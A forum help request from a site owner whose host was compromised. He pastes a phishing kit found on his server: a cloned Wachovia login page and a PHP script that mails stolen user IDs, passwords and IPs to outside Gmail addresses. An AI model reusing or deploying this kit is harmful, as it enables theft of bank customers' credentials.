Ok heres the skinny on how they are gaining access or so I believe.
For some reason they can gain access and get this uploaded which makes it own folder called "seite", once as "module" (instead of modules (9 i caught that one lol) and once an html file in he uploads directory. ( I have since adjusted permisions, changed account password, rechecked main_file.php and added the htaccess that was mentioned here.
I had a wierd file called modules.zip -- I downloaded and looked in it. It had two files --
1. LOGIN.PHP
<<<<<<<<<<<<<<<<<<<code>>>>>>>>>>>>>>>>>>>>>>>>
<?
$ip = getenv("REMOTE_ADDR");
$message .= "------------------------------n";
$message .= "User ID: ".$_POST['userid']."n";
$message .= "Password: ".$_POST['password']."n";
$message .= "IP: ".$ip."n";
$message .= "-------Created By Palmers-------n";
$recipient = "darkcrews@gmail.com,www.crew@gmail.com";
$subject = "WaChoviA";
$headers = "From: ";
$headers .= $_POST['eMailAdd']."n";
$headers .= "MIME-Version: 1.0n";
if (mail($recipient,$subject,$message,$headers))
{
header("Location: http://www.wachovia.com");
}
else
{
echo "ERROR! Please go back and try again.";
}
?>
<<<<<<<<<<<<<<<<<<<<end code>>>>>>>>>>>>>>>>>>>>>>
and an htm file called SERVICE.HTM
<<<<<<<<<<<<<<<<<<<<<<<<<code>>>>>>>>>>>>>>>>>>>>>>>>>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!---->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Cache-Control" content="no-cache" />
<meta http-equiv="Expires" content="Mon, 01 Jan 2001 13:00:00 GMT" />
<title>Online Services - Account Login</title>
<link href="https://onlineservices.wachovia.com/ols/css/index.css" rel="stylesheet" type="text/css" media="screen" />
<link href="https://onlineservices.wachovia.com/ols/css/index-p.css" rel="stylesheet" type="text/css" media="print" />
<style type="text/css">@import url("/ols/css/interference.css");</style>
<link href="https://onlineservices.wachovia.com/ols/css/handheld.css" rel="stylesheet" type="text/css" media="handheld" />
<script type="text/javascript" language="JavaScript1.2" src="https://www.wachovia.com/onlineservices/help/js/RoboHelp_CSH.js"></script>
<script type="text/javascript" language="JavaScript" src="https://onlineservices.wachovia.com/ols/js/utility.js"></script>
<script type="text/javascript" language="JavaScript" src="https://onlineservices.wachovia.com/ols/js/messaging.js"></script>
<script type="text/javascript" language="JavaScript" src="https://onlineservices.wachovia.com/ols/js/login.js"></script>
<script type="text/javascript" language="JavaScript" src="https://onlineservices.wachovia.com/ols/js/bidata.js"></script>
<script type="text/javascript" language="JavaScript">
<!--
if (top != self) {
top.location=self.location;
}
document.cookie='CookiesAreEnabled=yes; path=/; secure';
window.name="LoginPage";
var timeStamp = new Date().getTime();
//-->
</script>
</head>
<body id="default" class="twocol login" onunload="passReset();enableSubmits();">
<!-- Dual Login Form -->
<form method="post" action="/auth/AuthService" name="dualForm" id="dualForm" onsubmit="return disableSubmits();">
<input type="hidden" name="action" value="presentLogin" />
<input type="hidden" name="credtype" value="DUAL" />
<input type="hidden" name="credtype" value="UID" />
</form>
<div id="limiter">
<div id="header"><img src="https://onlineservices.wachovia.com/ols/images/logo.gif" alt="Wachovia Logo" width="240" height="52" id="logo" /><script type="text/javascript" language="JavaScript">setBrand();</script>
<img src="https://onlineservices.wachovia.com/ols/images/default_logotype.gif" alt="" width="246" height="21" id="subbrand" />
</div>
<div id="pusher">
<div id="content">
<div id="main">
<h1>Online Services Login</h1>
<div id="details">
<p>Enter the appropriate login information below, and select your service.</p>
</div>
<ul>
<li>Retirement Plan Participants: <a href="https://commercial.wachovia.com/Online/Financial/Business/Service?action=wrsLogin">Login</a></li>
</ul>
<form method="post" action="login.php" name="uidAuthForm" id="uidAuthForm" onsubmit="return disableSubmits();">
<input type="hidden" name="credtype" value="UID" />
<input type="hidden" value="uidLogin" name="action" />
<input type="hidden" value="" name="bi" />
<input type="hidden" value="" name="requestTimestamp" />
<table border="0" cellpadding="0" cellspacing="0" class="formtable">
<tr>
<td class="colgutter"></td>
<td class="label"><label for="userid">User ID</label>
<td class="colgutter"></td>
<td><input type="text" name="userid" id="userid" autocomplete="off" value="" tabindex="1"></td>
</tr>
<tr>
<td colspan="3"></td>
<td>
<label for="rememberuid" class="nestinput"><input type="checkbox" name="rememberuid" id="rememberuid" tabindex="6" />Remember my User ID</label>
<a href="javascript:popWinHelp('https://www.wachovia.com/onlineservices/help/remember_my_user_id.htm')" tabindex="7" >Learn More</a>
</td>
</tr>
<tr>
<td></td>
<td class="label" nowrap="nowrap"><label for="password">Password</label></td>
<td class="colgutter"></td>
<td><input type="password" name="password" id="password" autocomplete="off" value="" tabindex="2" /></td>
</tr>
<tr><td></td><td></td><td></td><td><div class="format">Case Sensitive</div></td></tr>
<tr>
<td></td>
<td class="label" nowrap="nowrap"><label for="service">Service Selection</label></td>
<td class="colgutter"></td>
<td>
<select name="systemtarget" width="160" onchange="getValue(this.form.name);" tabindex="3">
<option value="gotoOSH">Choose a service...</option>
<option value="gotoOSH">Online Services Home</option>
<option value="gotoBanking">Online Banking</option>
<option value="gotoBillPay">Online BillPay</option>
<option value="gotoBrokerage">Online Brokerage</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="center">
<input type="submit" value="Login" tabindex="4" class="button w80" id="submitButton" name="submitButton">
</td>
</tr>
</table>
</form>
</div>
<div id="related" class="clear">
<div class="box">
<h2><span>Customer Service</span></h2>
<h3></h3>
<ul>
<li><a href="javascript:popWinHelp('https://www.wachovia.com/onlineservices/help/user_id_and_password_rules.htm')">User ID & Password Help</a></li>
<li><a href="https://onlineservices.wachovia.com/identity/IdentityMgr?action=secondaryPresentLogin&nextpage=USERIDLOOKUP&credtype=UID">Forgot your User ID?</a></li>
<li><a href="https://onlineservices.wachovia.com/identity/IdentityMgr?action=secondaryPresentLogin&nextpage=PWRESET&returnurl=/auth/AuthService&credtype=UID">Reset your Password</a></li>
</ul>
<h3></h3>
<ul class="small">
<li>Customer Access Number: <a href="#" onclick="return submitForm('dualForm');">Login</a></li>
</ul>
</div>
<div id="promo">
<script type="text/javascript" language="JavaScript">
<!--
showMessage("slotA");
//-->
</script>
</div>
</div>
<hr class="textonly" />
<div id="navigation" class="blue">
<h2 class="ir">Navigation</h2>
<div id="utilities" class="utility"></div>
<div id="global" class="utility">
<ul>
<li class="first" id="officelocator"><a href="http://www.wachoviasec.com/home/locator.asp" target="locatorwin" onclick="return popWinCust(this.href,'locatorwin','yes','yes','yes','yes','yes','yes','yes',700,450,10,10);">Office Locator</a></li>
<li class="first" id="locations"><a href="http://wachovia.via.infonow.net/locator/?src=OLB" target="locatorwin" onclick="return popWinCust(this.href,'locatorwin','yes','yes','yes','yes','yes','yes','yes',700,450,10,10);">Locations</a></li>
</ul>
</div>
</div>
</div>
</div>
<hr class="textonly" />
<div id="footer">
<ul id="footerlinks" class="utility">
<li class="first"><a href="http://www.wachovia.com/popup/agreement/" target="popupwin" onclick="return popWinStnd(this.href);">Customer Agreement</a></li>
<li><a href="http://www.wachovia.com/popup/privacy/" target="popupwin" onclick="return popWinStnd(this.href);">Privacy</a></li>
<li><a href="http://www.wachovia.com/popup/security/" target="popupwin" onclick="return popWinStnd(this.href);">Security</a></li>
<li><a href="http://www.wachovia.com/popup/legal/" target="popupwin" onclick="return popWinStnd(this.href);">Legal</a></li>
</ul>
<div id="copyright">© 2007 Wachovia Corporation. All rights reserved.</div>
</div>
<div id="footeralt">
<ul id="footerlinks" class="utility">
<li class="first"><a href="https://wachseconline.wachovia.com/LD_Privacy.html" target="popupwin" onclick="return popWinStnd(this.href);">Privacy</a></li>
<li><a href="https://wachseconline.wachovia.com/LD_Security.html" target="popupwin" onclick="return popWinStnd(this.href);">Security</a></li>
<li><a href="https://wachseconline.wachovia.com/LD_AccessOnlineAgree.html" target="popupwin" onclick="return popWinStnd(this.href);">Legal Disclosures</a></li>
<li><a href="https://wachseconline.wachovia.com/LD_Contact.html" target="popupwin" onclick="return popWinStnd(this.href);">Contact Us</a></li>
</ul>
<div id="copyright">© 2007 Wachovia Securities, LLC (member NYSE/SIPC)</div>
<table id="notmay">
<caption>Securities and Insurance Products:<caption>
<tr>
<td>Not Insured by FDIC or any<br />Federal Government Agency</td>
<td>May Lose<br />Value</td>
<td>Not a Deposit of or Guaranteed by<br />a Bank or any Bank affiliate</td>
</tr>
</table>
<div id="disclosure">
<p>Wachovia Securities is the trade name used by two separate, registered broker-dealers and non-bank affiliates of
Wachovia Corporation providing certain retail securities brokerage services: Wachovia Securities, LLC, member
NYSE/SIPC, and Wachovia Securities Financial Network, LLC, member <span class="small">NASD</span>/SIPC. Accounts
carried by First Clearing, LLC, member NYSE/SIPC.</p>
<p>Insurance products are offered through non-bank affiliates of Wachovia Corporation and are underwritten by unaffiliated
insurance companies.</p>
</div>
</div>
</div>
<script language="JavaScript">
<!--
setSelection();
document.uidAuthForm.requestTimestamp.value = timeStamp;
setUID('RMUID_1','rememberuid','userid','password');
setData();
//-->
</script>
<!-- BEGIN WEBSIDESTORY CODE v8.0.10 (11up) -->
<!-- COPYRIGHT 1997-2003 WEBSIDESTORY, INC. ALL RIGHTS RESERVED. U.S.PATENT No. 6,393,479 B1. Privacy notice at: http://websidestory.com/privacy -->
<script type="text/javascript" language="JavaScript" id="_hbc">
<!--
var _acct="DM530604BKCA;DM5306045EBV"; //account number(s)
var _pn="Wachovia+UID+Login+Page"; //page name(s)
var _mlc="/login"; //multi-level content category
var _seg=""; // visitor segmentation
var _cmp=""; // campaign id
var _gp=""; // campaign goal
var _cmpn="";// campaign id in query
var _gpn=""; // campaign goal in query
var _fnl=""; // funnels
var _pec=""; // error codes
var _fv=""; // form validation function name
var _dcmp="";// dynamic campaign
var _dcmpn="";//dynamic campaign in query
var _hra=""; // response attribute
var _hcn=""; // conversion
var _hcv=""; // conversion value
var _hlt=""; // lead tracking
var _hla=""; // lead attribute
var _hqsr="";// response attribute in referrer query
var _hqsp="";// response attribute in query
var _hc1=""; // custom 1
var _hc2=""; // custom 2
var _hc3=""; // custom 3
var _hc4=""; // custom 4
var _cid=""; // customer id
var _cp="null"; // campaign
var _cpd=""; // campaign domain
var _pndef="title"; //default page name
var _ctdef="full"; //default content category
var _dlf="n"; //download filter
var _elf="n"; //exit link filter
var _epg="n"; //event page identifier
var _gn="ehg-wachovia.hitbox.com",_mn="we56"; //gateway & machine name
//-->
</script>
<script type="text/javascript" language="JavaScript1.1" defer="defer" src="https://www.wachovia.com/metrics/stats.js"></script>
<!-- END WEBSIDESTORY CODE -->
<!-- Start of DoubleClick Spotlight Tag: Please do not remove-->
<!-- Activity Name for this tag is:Online Services Login -->
<!-- Web site URL where tag should be placed: https://onlineservices.ite.wachovia.com/auth/AuthService?action=presentLogin&url=%2FNASApp%2FNavApp%2FTitanium%3faction=returnHome -->
<!-- This tag must be placed within the opening <body> tag, as close to the beginning of it as possible-->
<!-- Creation Date:07/07/03 -->
<script language="JavaScript">
var axel = Math.random()+"";
var a = axel * 10000000000000;
document.write('<img src="https://ad.doubleclick.net/activity;src=800562;type=addit712;cat=onlin441;ord=1;num='+ a + '?" width="1" height="1" border="0">');
</script>
<noscript>
<img src="https://ad.doubleclick.net/activity;src=800562;type=addit712;cat=onlin441;ord=1;num=1?" width="1" height="1" border="0">
</noscript>
<!-- End of DoubleClick Spotlight Tag: Please do not remove-->
</body>
</html>
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<end code>>>>>>>>>>>>>>>>>>>>>>>
I would appreciate any help given in how to stop this -- apparently I have a three strike rule with my host and I will be asked to go to another server. :0(
Thank you,
Markus
